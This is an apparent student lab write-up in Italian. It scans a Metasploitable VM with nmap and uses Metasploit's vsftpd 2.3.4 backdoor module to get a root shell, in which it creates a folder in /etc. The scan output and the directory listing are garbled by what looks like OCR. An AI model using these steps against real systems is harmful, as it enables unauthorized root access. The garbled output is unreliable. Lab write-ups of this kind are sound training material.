

```
$ nmap 192.168.1.149 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:06 EST
Nmap scan report for 192.168.1.149
Host is up (0.00019s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp
22/tcp
23/tcp
             open ftp
                                           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Linux telnetd
             open ssh
             open telnet
                                           Postfix smtpd
ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
             open
                        smtp
             open
                        domain
80/tcp
             open
                       rpcbind 2 (RPC #100000)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
             open
139/tcp
445/tcp
             open
             open
                                           netkit-rsh rexecd
             open
513/tcp open
514/tcp open
                        login?
                        shell
                                            Netkit rshd
1099/tcp open
                                            GNU Classpath grmiregistry
                       ftp ProFTPD 1.3.1
mysql MySQL 5.0.51a-3ubuntu5
postgresql PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)

711 (access danied)
1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open
5432/tcp open
5900/tcp open
6000/tcp open
6667/tcp open
                                            (access denied)
UnrealIRCd
8009/tcp open
                                            Apache Jserv (Protocol v1.3)
```

Prima di tutto inizio eseguendo una scansione con l'ausilio del tool nmap per avere una visione di insieme delle porte con servizi attivi sulla macchina vittima.

Dopodiché individuo un servizio vulnerabile basandomi sulla sua versione, in questo caso prenderò di mira il servizio vsftpd che sulla macchina vittima è aggiornato alla versione del 2011 (la versione corrente è 3.0.5).

Successivamente con l'aiuto della utility searchsploit cerco se esiste nel mio dispositivo un exploit adatto per eseguire l'attacco sempre basandomi sulla versione.

Poi apro il tool metasploit ed eseguo nuovamente la ricerca, in questo caso anche del payload da inviare, così da ottenere informazioni circa il corretto utilizzo di quello specifico exploit ed eventuali campi obbligatori o facoltativi richiesti dal programma per eseguire l'attacco, inoltre ottengo informazioni anche sull'attendibilità dello stesso controllando le caselle "Rank" e "Check"

```
msf6 exploit(unix/ftm/vsftpd_234_backdoor) > set RHOST 192.168.1.149
RHOST ⇒ 192.168.1.149
msf6 exploit(unix/ftm/vsftpd_234_backdoor) > set RPORT 21
REORT ⇒ 21
msf6 exploit(unix/ftm/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd_23.4)
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] found shell.
[*] Command shell session 1 opened (192.168.1.100:40491 → 192.168.1.149:6200) at 2023-03-06 09:18:12 -0500
ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 08:00:27:60:ce:22 brd ff:ff:ff:ff:ff
inet 192.168.1.149/24 brd 192.168.2.255 scope global eth0
inet6 fe80::300:27ff:fe6b:ce22/64 scope link
valid_lft forever preferred_lft forever
cd /etc
mkdir test_metasploit
```

Inizio quindi l'attacco connettendomi alla shell appena creata per inviare codice root direttamente sulla macchina, quindi eseguo un "ip a" per verificare l'effettivo funzionamento del tool, poi mi sposto nella directory etc e creo una cartella.

screenrc
securetty
security
services
sgml
shadow
shedls
skel
ssh
ssl
ssl
su-to-rootrc
sudders
sysctl.conf
syslog.conf
terminfo
test_metasploit
timezone
tomcat5.5
ucf.conf
udev
urf
ureal
update-manager
updatedb.conf
vim
wsftpd.conf
wam
ysftpd.conf
wam
ysttpd.conf
vim
cystpd.conf
vim
systpd.conf

Di lato vediamo un "ls" eseguito da kali e successivamente un find che ci confermano la corretta creazione della cartella, per aggiungere un'altra verifica eseguo gli stessi comandi direttamente dalla macchina vittima e come possiamo vedere sotto la directory è stata creata correttamente.

MEta (Snapshot 1) [Running] - Oracle VM VirtualBox

Fle Machine View Input Devices Help
msf admin@metasploitable: "\$ cd /etc
msf admin@metasploitable: /etc\$ find *meta*
test_metasploit
find: test_metasploit: Permission denied
msf admin@metasploitable: /etc\$

Pedrazzi Andrea